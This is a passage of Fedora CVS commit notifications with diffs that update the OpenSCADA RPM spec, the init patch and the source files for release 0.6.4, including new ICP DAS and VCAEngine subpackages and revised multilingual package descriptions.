@@ -1299,7 +1587,7 @@ desktop-file-install --dir=%{buildroot}%
 - add Athena board specific build
 
 * Wed Nov 03 2004 Roman Savochenko <rom_as at fromru.com>
-- move the message arhives data to /var/spool/%{name}/ARHIVE/MESS
+- move the message arhives data to /var/spool/{name}/ARHIVE/MESS
 
 * Tue Apr 06 2004 Roman Savochenko <rom_as at fromru.com>
 - make 3 packages: OpenScada, OpenScada-devel, OpenScada-testdata

oscada.init.patch:
 oscada.init |   49 +++++++++++++++++++++++++++++++++++--------------
 1 file changed, 35 insertions(+), 14 deletions(-)

Index: oscada.init.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/EL-5/oscada.init.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- oscada.init.patch	17 Jun 2009 19:42:45 -0000	1.2
+++ oscada.init.patch	13 Oct 2009 09:46:53 -0000	1.3
@@ -2,15 +2,6 @@ diff --git a/data/oscada.init b/data/osc
 index 21744dd..cdecaf8 100644
 --- a/data/oscada.init
 +++ b/data/oscada.init
-@@ -2,7 +2,7 @@
- #
- # Init file for OpenSCADA system demon.
- #
--# chkconfig: 2345 99 05
-+# chkconfig: - 99 05
- # description: Open SCADA System server daemon
- #
- # processname: openscada
 @@ -13,25 +13,45 @@ WITHOUT_RC_COMPAT=1
  # Source function library.
  . /etc/init.d/functions


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/EL-5/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	17 Jun 2009 19:42:45 -0000	1.3
+++ sources	13 Oct 2009 09:46:53 -0000	1.4
@@ -1 +1 @@
-f66f45c28ba9c50f0d38f8a2e76cd741  openscada-0.6.3.3.tar.gz
+9288241adecd71bd28a98695b7648965  openscada-0.6.4.tar.gz



From aleksey2005 at fedoraproject.org  Tue Oct 13 09:48:25 2009
From: aleksey2005 at fedoraproject.org (Popkov Aleksey)
Date: Tue, 13 Oct 2009 09:48:25 +0000 (UTC)
Subject: rpms/openscada/F-10 .cvsignore, 1.2, 1.3 import.log, 1.6,
	1.7 openscada.spec, 1.9, 1.10 oscada.init.patch, 1.3,
	1.4 sources, 1.3, 1.4
Message-ID: <20091013094825.2263011C00E8@cvs1.fedora.phx.redhat.com>

Author: aleksey2005

Update of /cvs/pkgs/rpms/openscada/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5011/F-10

Modified Files:
	.cvsignore import.log openscada.spec oscada.init.patch sources 
Log Message:
Release OpenSCADA 0.6.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	15 Jun 2009 07:42:58 -0000	1.2
+++ .cvsignore	13 Oct 2009 09:48:24 -0000	1.3
@@ -1 +1 @@
-openscada-0.6.3.3.tar.gz
+openscada-0.6.4.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-10/import.log,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- import.log	19 Jun 2009 20:42:58 -0000	1.6
+++ import.log	13 Oct 2009 09:48:24 -0000	1.7
@@ -4,3 +4,4 @@ openscada-0_6_3_3-3_fc10:F-10:openscada-
 openscada-0_6_3_3-5_fc10:F-10:openscada-0.6.3.3-5.fc10.src.rpm:1245267186
 openscada-0_6_3_3-6_fc10:F-10:openscada-0.6.3.3-6.fc10.src.rpm:1245335773
 openscada-0_6_3_3-7_fc10:F-10:openscada-0.6.3.3-7.fc10.src.rpm:1245444145
+openscada-0_6_4-1_fc11:F-10:openscada-0.6.4-1.fc11.src.rpm:1255427306


Index: openscada.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-10/openscada.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- openscada.spec	27 Jul 2009 11:26:03 -0000	1.9
+++ openscada.spec	13 Oct 2009 09:48:24 -0000	1.10
@@ -14,6 +14,7 @@
 %bcond_without javalikecalc
 %bcond_without logiclevel
 %bcond_without daqgate
+%bcond_with icpdas
 # ======== Protocol ========
 %bcond_without selfsystem
 # ========= DATA BASES =====
@@ -31,15 +32,16 @@
 # ========== HTTP Protocol =========
 %bcond_without http
 # ========== QT Interfaces ==========
+%bcond_without uivcaengine
 # QT4 devel old in to CentOs
 %if 0%{?rhel}
 %bcond_with qtstarter
 %bcond_with qtcfg
-%bcond_with qtvision
+%bcond_with uivision
 %else
 %bcond_without qtstarter
 %bcond_without qtcfg
-%bcond_without qtvision
+%bcond_without uivision
 %define _desktopdir %_datadir/applications
 %define _iconsdir /usr/share/icons
 %endif
@@ -53,17 +55,20 @@
 %bcond_without flibsys
 %bcond_without systemtests
 
-# DIAMONDBOARDS - Only for x86_32
+# Only for x86_32
 %ifarch x86_64
-%if 0%{?with_diamondboards}
-%{error: DIAMONDBOARDS support available only for %{ix86} target}
+  %if 0%{?with_diamondboards}
+  %{error: DIAMONDBOARDS support available only for %{ix86} target }  
 %endif
+  %if 0%{?with_icpdas}
+  %{error: ICP_DAS support available only for %{ix86} target }
+  %endif
 %endif
 
 Summary: Open SCADA system project
 Name: openscada
-Version: 0.6.3.3
-Release: 11%{?dist}
+Version: 0.6.4
+Release: 1%{?dist}
 Source0: ftp://oscada.org.ua/OpenSCADA/0.6.3/openscada-%version.tar.gz
 # Init scripts for fedora
 Patch0: oscada.init.patch
@@ -95,6 +100,7 @@ BuildRequires: libtool
 BuildRequires: desktop-file-utils
 BuildRequires: sed
 BuildRequires: chrpath
+BuildRequires: net-snmp-devel
 
 Requires(post): chkconfig
 Requires(preun): chkconfig
@@ -109,7 +115,7 @@ Open SCADA system. For access use accoun
 ???????? SCADA ???????. ??? ??????? ?????????????? ????? "root" ?? ??????
 "openscada".
 %description -l de_DE.UTF8
-Das offene SCADA System. Fuer den Zugang die Aufzeichnung "root" und das
+Das offene SCADA System. F?r den Zugang die Aufzeichnung "root" und das
 Kennwort "openscada" benutzen.
 
 %post
@@ -124,25 +130,26 @@ if [ $1 = 0 ]; then
  /sbin/chkconfig --del openscadad
 fi
 
+################## DAQ-System ###########################
 %if 0%{?with_diamondboards}
 %package DAQ-DiamondBoards
 Summary: Open SCADA DAQ
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description DAQ-DiamondBoards
-The %name-DAQ-DiamondBoards allows access to Diamond systems DA boards.
-Includes support of Athena board.
+The %name-DAQ-DiamondBoards allows access to Diamond systems
+DA boards. Includes support of Athena board.
 %description DAQ-DiamondBoards -l ru_RU.UTF8
 ????? %name-DAQ-DiamondBoards ????????????? ?????? ? ?????? ?????
 ?????? ????? Diamond systems. ???????? ????????? ????????? ?????
 Athena.
 %description DAQ-DiamondBoards -l uk_UA.UTF8
-????? %name-DAQ-DiamondBoards ????? ?????? ?? ???? ????? ????? ?????
-Diamond systems. ??????? ????????? ????????? ????? Athena.
+????? %name-DAQ-DiamondBoards ????? ?????? ?? ???? ????? ?????
+????? Diamond systems. ??????? ????????? ????????? ????? Athena.
 %description DAQ-DiamondBoards -l de_DE.UTF8
-Das Paket %name-DAQ-DiamondBoards ermoeglicht den Zugang zur
-Datenerfassung der Firma Diamond systems.Es enthaelt die Unterstuetzung
-der Systemplatte Athena.
+Das Paket %name-DAQ-DiamondBoards erm?glicht den Zugang zur
+Datenerfassung der Firma Diamond Systems.Es enth?lt die
+Unterst?tzung der Systemplatte Athena.
 %endif
 
 %if 0%{?with_dcon}
@@ -160,8 +167,8 @@ Supported I-7000 DCON protocol.
 ????? %name-DAQ-DCON ????? ?????????? ???????????? ??????? DCON.
 ????????????? I-7000 DCON ????????.
 %description DAQ-DCON -l de_DE.UTF8
-Das Paket %name-DAQ-DCON ermoeglicht Verwirklichung des
-Kundenservices des DCON-Protoklls. Unterstueuzung Prototkoll
+Das Paket %name-DAQ-DCON erm?glicht Verwirklichung des
+Kundenservices des DCON-Protokolls. Unterst?zung des Protokolls
 I-7000 DCON.
 %endif
 
@@ -178,12 +185,13 @@ Supported Modbus/TCP, Modbus/RTU and Mod
 ????????? ModBus. ?????????????? Modbus/TCP, Modbus/RTU ?
 Modbus/ASCII ?????????.
 %description DAQ-ModBus -l uk_UA.UTF8
-????? %name-DAQ-ModBus ????? ?????????? ???????????? ModBus ???????.
+????? %name-DAQ-ModBus ????? ?????????? ????????????
+ModBus ???????.
 ????????????? Modbus/TCP, Modbus/RTU ?? Modbus/ASCII ?????????.
 %description DAQ-ModBus -l de_DE.UTF8
-Das Paket %name-DAQ-ModBus emoeglicht Realisierung des Kundenservices des
-ModBus - Protokolls. Unterstuetzt werden die Protokolle Modbus/TCP,
-Modbus/RTU ? Modbus/ASCII.
+Das Paket %name-DAQ-ModBus em?glicht die Implementierung des
+Kundenservices des ModBus-Protokolls. Unterst?tzt werden die
+Protokolle Modbus/TCP, Modbus/RTU ? Modbus/ASCII.
 %endif
 
 %if 0%{?with_soundcard}
@@ -198,14 +206,13 @@ The %name-DAQ-Soundcard allows access to
 %description DAQ-Soundcard -l uk_UA.UTF8
 ????? %name-DAQ-Soundcard ????? ?????? ?? ????? ???????? ?????.
 %description DAQ-Soundcard -l de_DE.UTF8
-Das Paket %name-DAQ-Soundcard ermoeglicht den Zugang zur Schallkarte.
+Das Paket %name-DAQ-Soundcard gew?hrt den Zugang zur Schallkarte.
 %endif
 
 %if 0%{?with_snmp}
 %package DAQ-SNMP
 Summary: Open SCADA DAQ
 Group: Applications/Engineering
-BuildRequires: net-snmp-devel
 Requires: %{name} = %{version}-%{release}
 %description DAQ-SNMP
 The %name-DAQ-SNMP allows realising of SNMP client service.
@@ -215,8 +222,8 @@ The %name-DAQ-SNMP allows realising of S
 %description DAQ-SNMP -l uk_UA.UTF8
 ????? %name-DAQ-SNMP ????? ?????????? ???????????? SNMP ???????.
 %description DAQ-SNMP -l de_DE.UTF8
-Das Paket %name-DAQ-SNMP ermoeglicht Realisierung des Kundenservices
-des SNMP - Protokolls.
+Das Paket %name-DAQ-SNMP em?glicht die Implementierung des
+Kundenservices des SNMP-Protokolls.
 %endif
 
 %if 0%{?with_siemens}
@@ -237,9 +244,9 @@ for other.
 ????????? ???? Hilscher CIF ? ????????????? ????????? MPI ??
 ?????????? Libnodave ??? ??????.
 %description DAQ-Siemens -l de_DE.UTF8
-Das Paket %name-DAQ-Siemens, enthaelt die Datenquelle PLC Siemens
+Das Paket %name-DAQ-Siemens, enth?lt die Datenquelle PLC Siemens
 mittels der Karten Hilscher CIF durch Anwendung des MPI -
-Protokolls und der Bibliothek Libnodave fuer Anderes.
+Protokolls und der Bibliothek Libnodave f?r Anderes.
 %endif
 
 %if 0%{?with_system}
@@ -249,20 +256,20 @@ Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description DAQ-System
 The %name-DAQ-System, allow operation system data acquisition.
-Support OS Linux data sources: HDDTemp, Sensors, Uptime, Memory, CPU and
-other.
+Support OS Linux data sources: HDDTemp, Sensors, Uptime, Memory,
+CPU and other.
 %description DAQ-System -l ru_RU.UTF8
 ????? %name-DAQ-System, ????????????? ???? ?????? ????????????
 ???????. ?????????????? ????????? ?????? ?? Linux: HDDTemp, Sensors,
 Uptime, Memory, CPU ? ??????.
 %description DAQ-System -l uk_UA.UTF8
 ????? %name-DAQ-System, ????? ???? ????? ??????????? ???????.
-????????????? ??????? ????? ?? Linux: HDDTemp, Sensors, Uptime, Memory,
-CPU ?? ????.
+????????????? ??????? ????? ?? Linux: HDDTemp, Sensors, Uptime,
+Memory, CPU ?? ????.
 %description DAQ-System -l de_DE.UTF8
-Das Paket %name-DAQ-System ermoeglicht Datenerfassung des
+Das Paket %name-DAQ-System erm?glicht die Datenerfassung des
 Operationssystems. Es werden die Datenquellen ?? Linux: HDDTemp,
-Sensors, Uptime, Memory, CPU und andere unterstuetzt.
+Sensors, Uptime, Memory, CPU und andere unterst?tzt.
 %endif
 
 %if 0%{?with_blockcalc}
@@ -277,7 +284,7 @@ The %name-DAQ-BlockCalc allows block bas
 %description DAQ-BlockCalc -l uk_UA.UTF8
 ????? %name-DAQ-BlockCalc, ????? ???????? ??????????.
 %description DAQ-BlockCalc -l de_DE.UTF8
-Das Paket %name-DAQ-BlockCalc gewaehrt den Blockrechner
+Das Paket %name-DAQ-BlockCalc gew?hrt den Blockrechner
 %endif
 
 %if 0%{?with_javalikecalc}
@@ -290,17 +297,18 @@ The %name-DAQ-JavaLikeCalc allows java-l
 function's libraries engine. User can create and modify function and
 libraries.
 %description DAQ-JavaLikeCalc -l ru_RU.UTF8
-????? %name-DAQ-JavaLikeCalc, ????????????? ?????????? ?? java ????????
-????? ??????????? ? ?????? ?????????. ???????????? ????? ????????? ?
-?????????????? ??????? ? ??????????.
+????? %name-DAQ-JavaLikeCalc, ????????????? ?????????? ?? java
+???????? ????? ??????????? ? ?????? ?????????. ???????????? ?????
+????????? ? ?????????????? ??????? ? ??????????.
 %description DAQ-JavaLikeCalc -l uk_UA.UTF8
 ????? %name-DAQ-JavaLikeCalc, ????? ???????? ?? ???? ?????? ?? Java
 ?????????? ?? ?????? ????????? ??????. ?????????? ???? ?????????? ??
 ???????????? ??????? ?? ??????????.
 %description DAQ-JavaLikeCalc -l de_DE.UTF8
-Das %name-DAQ-JavaLikeCalc, entaelt die auf java - aehnlicher Sprache
-begruendeten Bibliothekenrechner und -laufer. Der Nutzer kann Funktionen
-und Bibliotheken schaffen und modifizieren.
+Das %name-DAQ-JavaLikeCalc, ent?lt die auf der Java - ?hnlicher
+Sprache begr?ndeten Bibliothekenrechner und -l?ufer.
+Der Nutzer kann Funktionen und Bibliotheken schaffen und
+modifizieren.
 %endif
 
 %if 0%{?with_logiclevel}
@@ -311,11 +319,13 @@ Requires: %{name} = %{version}-%{release
 %description DAQ-LogicLevel
 The %name-DAQ-LogicLevel allows logic level paramers.
 %description DAQ-LogicLevel -l ru_RU.UTF8
-????? %name-DAQ-LogicLevel, ????????????? ?????????? ??????? ??????????.
+????? %name-DAQ-LogicLevel, ????????????? ?????????? ???????
+??????????.
 %description DAQ-LogicLevel -l uk_UA.UTF8
 ????? %name-DAQ-LogicLevel, ????? ???????? ?????? ??????????.
 %description DAQ-LogicLevel -l de_DE.UTF8
-Das Paket %name-DAQ-LogicLevel, enthaelt das logische Parameterlevel.
+Das Paket %name-DAQ-LogicLevel, enth?lt das logische
+Parameterlevel.
 %endif
 
 %if 0%{?with_daqgate}
@@ -333,8 +343,32 @@ OpenSCADA station to local OpenSCADA sta
 ????? %name-DAQ-Gate, ???????? ????????? ??????? ????? ??????????
 OpenSCADA ??????? ?? ?????????.
 %description DAQ-Gate -l de_DE.UTF8
-Das Paket %name-DAQ-Gate, ermoeglicht das Einschleusen der Datenquellen der
-entfernten OpenSCADA Stationen in die lokale.
+Das Paket %name-DAQ-Gate, erm?glicht das Einschleusen der
+Datenquellen der entfernten OpenSCADA Stationen in die lokale.
+%endif
+
+%if 0%{?with_icpdas}
+%package DAQ-IcpDas
+Summary: Open SCADA DAQ
+Group: Applications/Engineering
+Requires: %{name} = %{version}-%{release}
+%description DAQ-IcpDas
+The %name-DAQ-IcpDas, package allow realisation of ICP DAS
+hardware support. Include I87000 and I-7000 DCON modules
+and I-8000 fast modules.
+%description DAQ-IcpDas -l ru_RU.UTF8
+????? %name-DAQ-IcpDas, ????????????? ?????????? ?????????
+???????????? ICP DAS. ???????? ????????? I-87000
+? I-7000 DCON ??????? ? I-8000 ??????? ???????.
+%description DAQ-IcpDas -l uk_UA.UTF8
+????? %name-DAQ-IcpDas, ????? ?????????? ????????? ??????????
+ICP DAS. ????????? I-87000 ?? I-7000 DCON ??????
+?? I-8000 ?????? ??????.
+%description DAQ-IcpDas -l de_DE.UTF8
+Das Paket %name-DAQ-IcpDas, gew?hrt die Implementierung der
+Unterst?tzung der installierten Ausr?stung ICP DAS.
+Die Unterst?tzung von Modulen I-87000 und I-7000
+und Schnell-Modulen I-8000 DCON ist eingeschlossen.
 %endif
 
 %if 0%{?with_selfsystem}
@@ -353,9 +387,10 @@ generic functions.
 ????????? ??????? ???????.
 %description Protocol-SelfSystem -l de_DE.UTF8
 Das Paket %name-Protocol-SelfSystem, das eigene OpenSCADA -
-Protokoll, unterstuetzt Hauptfunktionen
+Protokoll, unterst?tzt die Hauptfunktionen
 %endif
 
+########################### BD-System ############################
 %if 0%{?with_firebird}
 %package DB-FireBird
 Summary: Open SCADA database
@@ -369,7 +404,8 @@ The %name-DB-FireBird allow support of t
 %description DB-FireBird -l uk_UA.UTF8
 ????? %name-DB-FireBird, ?????? ??. ????? ????????? ?? FireBird.
 %description DB-FireBird -l de_DE.UTF8
-Das Paket %name-DB-FireBird Ermoegliht die FireBird Dateibasenunterstuetzung.
+Das Paket %name-DB-FireBird Gew?hrt die
+FireBird-Dateibasenunterst?tzung.
 %endif
 
 %if 0%{?with_mysql}
@@ -385,7 +421,7 @@ The %name-DB-MySQL package allow support
 %description DB-MySQL -l uk_UA.UTF8
 ????? %name-DB-MySQL, ????? ????????? ?? MySQL.
 %description DB-MySQL -l de_DE.UTF8
-Das Paket %name-DB-MySQL Ermoeglicht die MySQL-Dateibasenunterstuetzung.
+Das Paket %name-DB-MySQL gew?hrt die MySQL-Dateibasenunterst?tzung.
 %endif
 
 %if 0%{?with_dbf}
@@ -394,13 +430,16 @@ Summary: Open SCADA database
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description DB-DBF
-The %name-DB-DBF package allow support of the *.dbf files, version 3.0.
+The %name-DB-DBF package allow support of the *.dbf files,
+version 3.0.
 %description DB-DBF -l ru_RU.UTF8
-????? %name-DB-DBF, ????????????? ????????? *.dbf ??????, ?????? 3.0..
+????? %name-DB-DBF, ????????????? ????????? *.dbf ??????,
+?????? 3.0.
 %description DB-DBF -l uk_UA.UTF8
 ????? %name-DB-DBF, ????? ????????? *.dbf ??????, ?????? 3.0.
 %description DB-DBF -l de_DE.UTF8
-Das Paket %name-DB-DBF ermoeglicht die *.dbf Dateiunterstutzung, Versionen 3.0..
+Das Paket %name-DB-DBF gew?hrt die *.dbf Dateiunterst?tzung,
+Versionen 3.0.
 %endif
 
 %if 0%{?with_sqlite}
@@ -415,25 +454,27 @@ The %name-DB-SQLite package allow suppor
 %description DB-SQLite -l uk_UA.UTF8
 ????? %name-DB-SQLite, ????? ????????? ?? SQLite.
 %description DB-SQLite -l de_DE.UTF8
-Das Paket %name-DB-SQLite ermoeglicht die DB SQLite - Unterstuetzung.
+Das Paket %name-DB-SQLite gew?hrt die DB SQLite - Unterst?tzung.
 %endif
 
+############################# ARH-System ############################
 %if 0%{?with_dbarch}
 %package ARH-DBArch
 Summary: Open SCADA arch
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description ARH-DBArch
-The %name-ARH-DBArch package allow functions for messages and values
-arhiving to DB.
+The %name-ARH-DBArch package allow functions for messages and
+values arhiving to DB.
 %description ARH-DBArch -l ru_RU.UTF8
-????? %name-ARH-DBArch, ????????????? ??????? ????????????? ????????? ?
-???????? ?? ??.
+????? %name-ARH-DBArch, ????????????? ??????? ?????????????
+????????? ? ???????? ?? ??.
 %description ARH-DBArch -l uk_UA.UTF8
-????? %name-ARH-DBArch, ????? ??????? ????????? ??????????? ?? ??????? ?? ??.
+????? %name-ARH-DBArch, ????? ??????? ????????? ???????????
+?? ??????? ?? ??.
 %description ARH-DBArch -l de_DE.UTF8
-Das Paket %name-ARH-DBArch gewaehrt Archivierungsfunktionen der Mitteilungen
-und Bedeutungen fuer DB.
+Das Paket %name-ARH-DBArch gew?hrt Archivierungsfunktionen
+der Nachrichten und Bedeutungen f?r DB.
 %endif
 
 %if 0%{?with_fsarch}
@@ -442,24 +483,33 @@ Summary: Open SCADA arch
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description ARH-FSArch
-The %name-ARH-FSArch allow functions for messages and values arhiving
-to file system.
+The %name-ARH-FSArch allow functions for messages and values
+arhiving to file system.
 %description ARH-FSArch -l ru_RU.UTF8
-????? %name-ARH-FSArch, ????????????? ??????? ????????????? ????????? ?
-???????? ?? ???????? ???????.
+????? %name-ARH-FSArch, ????????????? ??????? ?????????????
+????????? ? ???????? ?? ???????? ???????.
 %description ARH-FSArch -l uk_UA.UTF8
-????? %name-ARH-FSArch, ????? ??????? ????????? ??????????? ?? ??????? ??
-??????? ???????.
+????? %name-ARH-FSArch, ????? ??????? ????????? ???????????
+?? ??????? ?? ??????? ???????.
 %description ARH-FSArch -l de_DE.UTF8
-Das Paket %name-ARH-FSArch gewaert Archivierungsfunktionen fuer Mitteilungen
-und Bedeutungen fuer Dateisystem.
+Das Paket %name-ARH-FSArch gew?hrt Archivierungsfunktionen
+f?r Nachrichte und Bedeutungen f?r Dateisystem.
 %endif
 
+############################# UI-System ##############################
 %if 0%{?with_webcfg}
 %package UI-WebCfg
 Summary: Open SCADA interfaces
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
+# ############### Transport ########################
+%if 0%{?with_sockets}
+Requires:%{name}-Transport-Sockets = %{version}-%{release}
+%endif
+%if 0%{?with_ssl}
+Requires:%{name}-Transport-SSL = %{version}-%{release}
+%endif
+# ##################################################
 %description UI-WebCfg
 The %name-UI-WebCfg allows the WEB based OpenSCADA system
 configurator.
@@ -470,7 +520,7 @@ configurator.
 ????? %name-UI-WebCfg, ????? WEB ????????? ???????????? ???????
 OpenSCADA.
 %description UI-WebCfg -l de_DE.UTF8
-Das Paket %name-UI-WebCfg ermoeglicht den WEB-begruendeten
+Das Paket %name-UI-WebCfg gew?hrt den WEB-begr?ndeten
 OpenSCADA-Konfigurator.
 %endif
 
@@ -479,6 +529,14 @@ OpenSCADA-Konfigurator.
 Summary: Open SCADA interfaces
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
+# ############### Transport ########################
+%if 0%{?with_sockets}
+Requires:%{name}-Transport-Sockets = %{version}-%{release}
+%endif
+%if 0%{?with_ssl}
+Requires:%{name}-Transport-SSL = %{version}-%{release}
+%endif
+# ##################################################
 %description UI-WebCfgd
 The %name-UI-WebCfgd allows the dynamic WEB based OpenSCADA system
 configurator. Use XHTML, CSS and JavaScript technologies.
@@ -486,11 +544,11 @@ configurator. Use XHTML, CSS and JavaScr
 ????? %name-UI-WebCfgd, ????????????? ???????????? WEB ??????????
 ????????????. ?????????? XHTML, CSS ? JavaScript ??????????.
 %description UI-WebCfgd -l uk_UA.UTF8
-????? %name-UI-WebCfgd, ????? ?????????? WEB ????????? ????????????.
-??????????? XHTML, CSS ?? JavaScript ??????????.
+????? %name-UI-WebCfgd, ????? ?????????? WEB ?????????
+????????????. ??????????? XHTML, CSS ?? JavaScript ??????????.
 %description UI-WebCfgd -l de_DE.UTF8
-Das Paket %name-UI-WebCfgd ermoeglicht den dynamischen WEB-begruendeten
-Konfigurator. Nutzt XHTML, CSS and JavaScript technologies aus.
+Das Paket %name-UI-WebCfgd gew?hrt den dynamischen WEB-begr?ndeten
+Konfigurator. Nutzt die XHTML, CSS und JavaScript-Technologien aus.
 %endif
 
 %if 0%{?with_webvision}
@@ -498,18 +556,26 @@ Konfigurator. Nutzt XHTML, CSS and JavaS
 Summary: Open SCADA interfaces
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
+# ############### Transport ########################
+%if 0%{?with_sockets}
+Requires:%{name}-Transport-Sockets = %{version}-%{release}
+%endif
+%if 0%{?with_ssl}
+Requires:%{name}-Transport-SSL = %{version}-%{release}
+%endif
+# ##################################################
 %description UI-WebVision
-The %name-UI-WebVision web operation user interface for visual control area
-(VCA) projects playing.
+The %name-UI-WebVision web operation user interface for visual
+control area (VCA) projects playing.
 %description UI-WebVision -l ru_UA.UTF8
-????? %name-UI-WebVision, web ??????? ???????????????? ????????? ???
-?????????? ?????????? ???? ?????????? (???)
+????? %name-UI-WebVision, web ??????? ???????????????? ?????????
+??? ?????????? ?????????? ???? ?????????? (???)
 %description UI-WebVision -l uk_RU.UTF8
-????? %name-UI-WebVision, web ??????? ????????? ??????????? ??? ?????????
-??????????? ?????????? ????????? (???).
+????? %name-UI-WebVision, web ??????? ????????? ??????????? ???
+????????? ??????????? ?????????? ????????? (???).
 %description UI-WebVision -l de_DE.UTF8
-Das Paket %name-UI-WebVision, web-Arbeitsnutzersinterface fuer Ausfuehrung
-visueller Kontrollebereiche .
+Das Paket %name-UI-WebVision, web-Arbeitsnutzersinterface f?r die
+Ausf?hrung visueller Kontrollebereiche.
 %endif
 
 %if 0%{?with_http}
@@ -517,19 +583,29 @@ visueller Kontrollebereiche .
 Summary: Open SCADA http
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
+# ############### Transport ########################
+%if 0%{?with_sockets}
+Requires:%{name}-Transport-Sockets = %{version}-%{release}
+%endif
+%if 0%{?with_ssl}
+Requires:%{name}-Transport-SSL = %{version}-%{release}
+%endif
+# ##################################################
 %description Protocol-HTTP
-The %name-Protocol-HTTP package allows support HTTP for WWW based UIs.
+The %name-Protocol-HTTP package allows support HTTP
+for WWW based UIs.
 %description Protocol-HTTP -l ru_RU.UTF8
-????? %name-Protocol-HTTP ????????????? ????????? HTTP ??? WWW ??????????
-???????????????? ???????????.
+????? %name-Protocol-HTTP ????????????? ????????? HTTP ??? WWW
+?????????? ???????????????? ???????????.
 %description Protocol-HTTP -l uk_UA.UTF8
 ????? %name-Protocol-HTTP ????? ????????? HTTP ??? WWW ???????????
 ?????????????????? ???????????.
 %description Protocol-HTTP -l de_DE.UTF8
-Das Paket %name-Protocol-HTTP ermoeglicht die HTTP-Unterstuetzung fuer die
-WWW-basierenden Nutzersinterfaces .
+Das Paket %name-Protocol-HTTP gew?hrt die HTTP-Unterst?tzung
+f?r die WWW-basierenden Nutzersinterfaces.
 %endif
 
+############################### GUI-System ##################################
 %if 0%{?with_qtstarter}
 %package UI-QTStarter
 Summary: Open SCADA QT Starter
@@ -537,7 +613,7 @@ Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description UI-QTStarter
 The %name-UI-QTStarter Allow QT GUI starter. It is single for
-all QT GUI modules!.
+all QT GUI modules!
 %description UI-QTStarter -l ru_RU.UTF8
 ????? %name-UI-QTStarter ????????????? QT GUI ?????????.
 ?? ???????? ???????????? ??? ???? QT GUI ???????!
@@ -545,8 +621,8 @@ all QT GUI modules!.
 ????? %name-UI-QTStarter ????? QT GUI ??????. ??? ? ???? ???
 ???? QT GUI ???????!
 %description UI-QTStarter -l de_DE.UTF8
-Das Paket %name-UI-QTStarter  Enthaelt den QT GUI Starter.
-Ist das einzige fuer alle QT GUI Module!
+Das Paket %name-UI-QTStarter  Enth?lt den QT GUI-Starter.
+Ist das Einzige f?r alle QT GUI-Module!
 %endif
 
 %if 0%{?with_qtcfg}
@@ -555,54 +631,79 @@ Summary: Open SCADA QT interfaces
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description UI-QTCfg
-The %name-UI-QTCfg allows the QT based OpenSCADA system configurator.
+The %name-UI-QTCfg allows the QT based OpenSCADA system
+configurator.
 %description UI-QTCfg -l ru_RU.UTF8
-????? %name-UI-QTCfg ????????????? QT ?????????? ???????????? ???????
-OpenSCADA.
+????? %name-UI-QTCfg ????????????? QT ?????????? ????????????
+??????? OpenSCADA.
 %description UI-QTCfg -l uk_UA.UTF8
 ????? %name-UI-QTCfg ??????? ????? QTCfg-?????????????.
 %description UI-QTCfg -l de_DE.UTF8
-Das Paket %name-UI-QTCfg emrmoeglicht den QT-begruendeten
+Das Paket %name-UI-QTCfg gew?hrt den QT-begr?ndeten
 OpenSCADA-Systemkonfigurator.
 %endif
 
-%if 0%{?with_qtvision}
-%package UI-QTVision
+############################### UI-System ##################################
+
+%if 0%{?with_uivision}
+%package UI-Vision
 Summary: Open SCADA QT interfaces
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
-%description UI-QTVision
-The %name-UI-QTVision package includes files visual operation user
+%description UI-Vision
+The %name-UI-Vision package includes files visual operation user
 interface.
-%description UI-QTVision -l ru_RU.UTF8
-????? %name-UI-QTVision ???????? ????? ???????? ?????????????????
+%description UI-Vision -l ru_RU.UTF8
+????? %name-UI-Vision ???????? ????? ???????? ?????????????????
 ??????????.
-%description UI-QTVision -l uk_UA.UTF8
-????? %name-UI-QTVision ??????? ????? ???????? ??????????
+%description UI-Vision -l uk_UA.UTF8
+????? %name-UI-Vision ??????? ????? ???????? ??????????
 ???????????.
-%description UI-QTVision -l de_DE.UTF8
-Das Paket %name-UI-QTVision enthaelt die Arbeitsnutzersinterfacedaten
+%description UI-Vision -l de_DE.UTF8
+Das Paket %name-UI-Vision enth?lt die Arbeitsnutzersinterfacedaten
 %endif
 
+%if 0%{?with_uivcaengine}
+%package UI-VCAEngine
+Summary: Open SCADA QT interfaces
+Group: Applications/Engineering
+Requires: %{name} = %{version}-%{release}
+%description UI-VCAEngine
+The %{name}-UI-VCAEngine package - generic visual control
+area engine.
+%description UI-VCAEngine -l ru_RU.UTF8
+????? %{name}-UI-VCAEngine - ????? ?????? ????? ????????????
+? ??????????.
+%description UI-VCAEngine -l uk_UA.UTF8
+????? %{name}-UI-VCAEngine - ????????? ????? ??????????
+???????????? ?? ?????????.
+%description UI-VCAEngine -l de_DE.UTF8
+Das Paket %{name}-UI-VCAEngine - allgemeine
+Visualisierungssteuerung.
+%endif
+
+############################# Transport-System ##############################
 %if 0%{?with_ssl}
 %package Transport-SSL
 Summary: Open SCADA transports
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description Transport-SSL
-The %name-Transport-SSL allows security socket layer based transport.
